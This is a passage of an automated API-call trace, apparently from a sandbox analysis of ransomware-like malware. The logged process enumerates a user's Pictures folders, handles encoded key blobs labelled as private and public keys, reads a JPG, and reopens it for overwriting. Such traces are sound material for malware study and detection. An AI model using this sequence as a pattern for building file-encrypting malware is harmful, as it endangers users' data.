GetCurrentThreadId () returned 0xa30 [0085.151] GetCurrentThreadId () returned 0xa30 [0085.151] GetCurrentThreadId () returned 0xa30 [0085.151] GetCurrentThreadId () returned 0xa30 [0085.151] GetCurrentThreadId () returned 0xa30 [0085.152] GetCurrentThreadId () returned 0xa30 [0085.152] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf85cb340, ftCreationTime.dwHighDateTime=0x1d5e16c, ftLastAccessTime.dwLowDateTime=0x89d50350, ftLastAccessTime.dwHighDateTime=0x1d5e81a, ftLastWriteTime.dwLowDateTime=0x89d50350, ftLastWriteTime.dwHighDateTime=0x1d5e81a, nFileSizeHigh=0x0, nFileSizeLow=0x1019f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="OCI93tz5rnG3Offp.jpg", cAlternateFileName="OCI93T~1.JPG")) returned 0 [0085.152] GetLastError () returned 0x12 [0085.152] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0085.152] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d83f60, ftCreationTime.dwHighDateTime=0x1d5dda4, ftLastAccessTime.dwLowDateTime=0x50ac7660, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50ac7660, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0085.152] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0085.152] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.152] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d83f60, ftCreationTime.dwHighDateTime=0x1d5dda4, ftLastAccessTime.dwLowDateTime=0x50ac7660, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50ac7660, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.152] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.152] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.152] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21e54a80, ftCreationTime.dwHighDateTime=0x1d5e2c4, ftLastAccessTime.dwLowDateTime=0xf7325fc0, ftLastAccessTime.dwHighDateTime=0x1d5e56c, ftLastWriteTime.dwLowDateTime=0xf7325fc0, ftLastWriteTime.dwHighDateTime=0x1d5e56c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="1ilxsFFPhAmnX", cAlternateFileName="1ILXSF~1")) returned 1 [0085.153] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.153] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.153] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21e54a80, ftCreationTime.dwHighDateTime=0x1d5e2c4, ftLastAccessTime.dwLowDateTime=0xf7325fc0, ftLastAccessTime.dwHighDateTime=0x1d5e56c, ftLastWriteTime.dwLowDateTime=0xf7325fc0, ftLastWriteTime.dwHighDateTime=0x1d5e56c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0085.153] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21e54a80, ftCreationTime.dwHighDateTime=0x1d5e2c4, ftLastAccessTime.dwLowDateTime=0xf7325fc0, ftLastAccessTime.dwHighDateTime=0x1d5e56c, ftLastWriteTime.dwLowDateTime=0xf7325fc0, ftLastWriteTime.dwHighDateTime=0x1d5e56c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.153] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab10570, ftCreationTime.dwHighDateTime=0x1d5d9b6, ftLastAccessTime.dwLowDateTime=0x99fc4b00, ftLastAccessTime.dwHighDateTime=0x1d5dd78, ftLastWriteTime.dwLowDateTime=0x99fc4b00, ftLastWriteTime.dwHighDateTime=0x1d5dd78, nFileSizeHigh=0x0, nFileSizeLow=0x6e97, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="3a_Ktn--Hmt.jpg", cAlternateFileName="3A_KTN~1.JPG")) returned 1 [0085.153] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0085.153] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0085.153] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\3a_Ktn--Hmt.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\3a_ktn--hmt.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab10570, ftCreationTime.dwHighDateTime=0x1d5d9b6, ftLastAccessTime.dwLowDateTime=0x99fc4b00, ftLastAccessTime.dwHighDateTime=0x1d5dd78, ftLastWriteTime.dwLowDateTime=0x99fc4b00, ftLastWriteTime.dwHighDateTime=0x1d5dd78, nFileSizeHigh=0x0, nFileSizeLow=0x6e97)) returned 1 [0085.153] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\3a_Ktn--Hmt.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\3a_ktn--hmt.jpg")) returned 0x20 [0085.154] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\3a_Ktn--Hmt.jpg", dwFileAttributes=0x80) returned 1 [0085.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f3e8dc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.157] GetCurrentThreadId () returned 0xa30 [0085.157] GetCurrentThreadId () returned 0xa30 [0085.157] GetCurrentThreadId () returned 0xa30 [0085.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f3320c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.158] GetCurrentThreadId () returned 0xa30 [0085.158] GetCurrentThreadId () returned 0xa30 [0085.158] GetCurrentThreadId () returned 0xa30 [0085.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\3a_Ktn--Hmt.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\3a_ktn--hmt.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0085.158] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0085.158] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0085.158] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x6e97 [0085.159] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0085.159] ReadFile (in: hFile=0x12c, lpBuffer=0x1f4e7e0, nNumberOfBytesToRead=0x6e97, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f4e7e0*, lpNumberOfBytesRead=0x18f3d4*=0x6e97, lpOverlapped=0x0) returned 1 [0085.161] CloseHandle (hObject=0x12c) returned 1 [0085.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\3a_Ktn--Hmt.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\3a_ktn--hmt.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0085.163] WriteFile (in: hFile=0x12c, 